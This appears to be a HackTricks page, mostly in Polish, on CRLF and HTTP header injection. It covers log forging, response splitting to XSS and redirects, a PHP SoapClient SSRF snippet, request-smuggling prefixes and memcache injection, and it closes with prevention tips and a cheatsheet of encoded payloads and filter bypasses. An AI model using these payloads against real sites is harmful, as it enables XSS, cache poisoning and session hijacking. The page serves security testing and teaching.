CRLF (%0D%0A) Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Bug bounty tip: zarejestruj się w Intigriti, premium platformie bug bounty stworzonej przez hackerów, dla hackerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!

Register - IntigritiRegister - Intigriti

CRLF

Carriage Return (CR) i Line Feed (LF), wspólnie znane jako CRLF, to specjalne sekwencje znaków używane w protokole HTTP do oznaczania końca linii lub początku nowej. Serwery internetowe i przeglądarki używają CRLF do rozróżniania między nagłówkami HTTP a treścią odpowiedzi. Te znaki są powszechnie stosowane w komunikacji HTTP/1.1 w różnych typach serwerów internetowych, takich jak Apache i Microsoft IIS.

CRLF Injection Vulnerability

CRLF injection polega na wstawieniu znaków CR i LF do danych wejściowych dostarczonych przez użytkownika. Działanie to wprowadza w błąd serwer, aplikację lub użytkownika, sprawiając, że interpretują wstrzykniętą sekwencję jako koniec jednej odpowiedzi i początek innej. Chociaż te znaki nie są z natury szkodliwe, ich niewłaściwe użycie może prowadzić do podziału odpowiedzi HTTP i innych złośliwych działań.

Example: CRLF Injection in a Log File

Example from here

Rozważ plik dziennika w panelu administracyjnym, który ma format: IP - Czas - Odwiedzona Ścieżka. Typowy wpis może wyglądać następująco:

123.123.123.123 - 08:15 - /index.php?page=home

Atakujący może wykorzystać wstrzyknięcie CRLF do manipulacji tym logiem. Wstrzykując znaki CRLF do żądania HTTP, atakujący może zmienić strumień wyjściowy i fałszować wpisy w logu. Na przykład, wstrzyknięta sekwencja może przekształcić wpis w logu w:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Tutaj %0d i %0a reprezentują zakodowane w URL formy CR i LF. Po ataku, log wprowadzi w błąd, wyświetlając:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

The attacker thus cloaks their malicious activities by making it appear as if the localhost (an entity typically trusted within the server environment) performed the actions. The server interprets the part of the query starting with %0d%0a as a single parameter, while the restrictedaction parameter is parsed as another, separate input. The manipulated query effectively mimics a legitimate administrative command: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Opis

HTTP Response Splitting to luka bezpieczeństwa, która powstaje, gdy atakujący wykorzystuje strukturę odpowiedzi HTTP. Ta struktura oddziela nagłówki od treści za pomocą określonej sekwencji znaków, Carriage Return (CR) i Line Feed (LF), zbiorczo określanej jako CRLF. Jeśli atakujący zdoła wstawić sekwencję CRLF do nagłówka odpowiedzi, może skutecznie manipulować następną treścią odpowiedzi. Tego rodzaju manipulacja może prowadzić do poważnych problemów z bezpieczeństwem, w szczególności Cross-site Scripting (XSS).

XSS poprzez HTTP Response Splitting

1. Aplikacja ustawia niestandardowy nagłówek, taki jak: X-Custom-Header: UserInput

2. Aplikacja pobiera wartość dla UserInput z parametru zapytania, powiedzmy "user_input". W scenariuszach, w których brakuje odpowiedniej walidacji i kodowania wejścia, atakujący może stworzyć ładunek, który zawiera sekwencję CRLF, a następnie złośliwą treść.

3. Atakujący tworzy URL z specjalnie przygotowanym 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• W tym URL, %0d%0a%0d%0a to URL-encoded forma CRLFCRLF. Oszukuje to serwer, aby wstawić sekwencję CRLF, sprawiając, że serwer traktuje następną część jako treść odpowiedzi.

4. Serwer odzwierciedla dane wejściowe atakującego w nagłówku odpowiedzi, prowadząc do niezamierzonej struktury odpowiedzi, w której złośliwy skrypt jest interpretowany przez przeglądarkę jako część treści odpowiedzi.

Przykład HTTP Response Splitting prowadzący do przekierowania

Z https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser to:

/%0d%0aLocation:%20http://myweb.com

A serwer odpowiada nagłówkiem:

Location: http://myweb.com

Inny przykład: (z https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

W ścieżce URL

Możesz wysłać ładunek wewnątrz ścieżki URL, aby kontrolować odpowiedź z serwera (przykład z tutaj):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

bugbounty-cheatsheet/crlf.md at master · EdOverflow/bugbounty-cheatsheetGitHub

Wstrzykiwanie nagłówków HTTP

Wstrzykiwanie nagłówków HTTP, często wykorzystywane poprzez wstrzykiwanie CRLF (Carriage Return and Line Feed), pozwala atakującym na wstawianie nagłówków HTTP. Może to podważyć mechanizmy bezpieczeństwa, takie jak filtry XSS (Cross-Site Scripting) lub SOP (Same-Origin Policy), co potencjalnie prowadzi do nieautoryzowanego dostępu do wrażliwych danych, takich jak tokeny CSRF, lub manipulacji sesjami użytkowników poprzez osadzanie ciasteczek.

Wykorzystywanie CORS poprzez wstrzykiwanie nagłówków HTTP

Atakujący może wstrzykiwać nagłówki HTTP, aby włączyć CORS (Cross-Origin Resource Sharing), omijając ograniczenia nałożone przez SOP. To naruszenie pozwala skryptom z złośliwych źródeł na interakcję z zasobami z innego źródła, potencjalnie uzyskując dostęp do chronionych danych.

SSRF i wstrzykiwanie żądań HTTP poprzez CRLF

Wstrzykiwanie CRLF może być wykorzystane do skonstruowania i wstrzyknięcia całkowicie nowego żądania HTTP. Znaczącym przykładem jest luka w klasie SoapClient w PHP, szczególnie w parametrze user_agent. Manipulując tym parametrem, atakujący może wstawić dodatkowe nagłówki i treść ciała, a nawet wstrzyknąć całkowicie nowe żądanie HTTP. Poniżej znajduje się przykład PHP demonstrujący to wykorzystanie:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Wstrzykiwanie nagłówków do oszustwa w żądaniach

Aby uzyskać więcej informacji na temat tej techniki i potencjalnych problemów sprawdź oryginalne źródło.

Możesz wstrzykiwać istotne nagłówki, aby zapewnić, że zaplecze utrzymuje połączenie otwarte po odpowiedzi na początkowe żądanie:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Po tym można określić drugie żądanie. Ten scenariusz zazwyczaj obejmuje HTTP request smuggling, technikę, w której dodatkowe nagłówki lub elementy ciała dodane przez serwer po wstrzyknięciu mogą prowadzić do różnych exploitów bezpieczeństwa.

Eksploatacja:

1. Wstrzyknięcie złośliwego prefiksu: Ta metoda polega na zanieczyszczeniu żądania następnego użytkownika lub pamięci podręcznej sieciowej poprzez określenie złośliwego prefiksu. Przykład tego to:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Tworzenie prefiksu do zanieczyszczenia kolejki odpowiedzi: To podejście polega na stworzeniu prefiksu, który, w połączeniu z końcowymi śmieciami, tworzy pełne drugie żądanie. Może to wywołać zanieczyszczenie kolejki odpowiedzi. Przykład to:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Wstrzyknięcie Memcache

Memcache to magazyn klucz-wartość, który używa protokołu w czystym tekście. Więcej informacji w:

11211 - Pentesting Memcache

Aby uzyskać pełne informacje, przeczytaj oryginalny artykuł

Jeśli platforma pobiera dane z żądania HTTP i używa ich bez sanitizacji do wykonywania żądań do serwera memcache, atakujący może wykorzystać to zachowanie do wstrzyknięcia nowych poleceń memcache.

Na przykład, w pierwotnie odkrytej luce, klucze pamięci podręcznej były używane do zwracania adresu IP i portu, do którego użytkownik powinien się połączyć, a atakujący mogli wstrzyknąć polecenia memcache, które zanieczyściłyby pamięć podręczną, aby wysłać szczegóły ofiar (w tym nazwy użytkowników i hasła) do serwerów atakującego:

Ponadto, badacze odkryli również, że mogą desynchronizować odpowiedzi memcache, aby wysłać adresy IP i porty atakującego do użytkowników, których e-mail atakujący nie znał:

Jak zapobiegać wstrzyknięciom CRLF / nagłówków HTTP w aplikacjach internetowych

Aby zminimalizować ryzyko wstrzyknięć CRLF (Carriage Return and Line Feed) lub nagłówków HTTP w aplikacjach internetowych, zaleca się następujące strategie:

1. Unikaj bezpośredniego wprowadzania danych przez użytkownika w nagłówkach odpowiedzi: Najbezpieczniejszym podejściem jest powstrzymanie się od włączania danych dostarczonych przez użytkownika bezpośrednio do nagłówków odpowiedzi.

2. Koduj znaki specjalne: Jeśli unikanie bezpośredniego wprowadzania danych przez użytkownika nie jest możliwe, upewnij się, że używasz funkcji dedykowanej do kodowania znaków specjalnych, takich jak CR (Carriage Return) i LF (Line Feed). Ta praktyka zapobiega możliwości wstrzyknięcia CRLF.

3. Aktualizuj język programowania: Regularnie aktualizuj język programowania używany w swoich aplikacjach internetowych do najnowszej wersji. Wybierz wersję, która z zasady zabrania wstrzykiwania znaków CR i LF w funkcjach odpowiedzialnych za ustawianie nagłówków HTTP.

CHEATSHEET

Cheatsheet stąd

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Narzędzia automatyczne

• https://github.com/Raghavd3v/CRLFsuite

• https://github.com/dwisiswant0/crlfuzz

Lista wykrywania brute-force

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Odniesienia

• https://www.invicti.com/blog/web-security/crlf-http-header/

• https://www.acunetix.com/websitesecurity/crlf-injection/

• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning

• https://www.netsparker.com/blog/web-security/crlf-http-header/

Porada dotycząca bug bounty: zarejestruj się w Intigriti, premium platformie bug bounty stworzonej przez hackerów, dla hackerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 $!

Register - IntigritiRegister - Intigriti

Ucz się i ćwicz hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.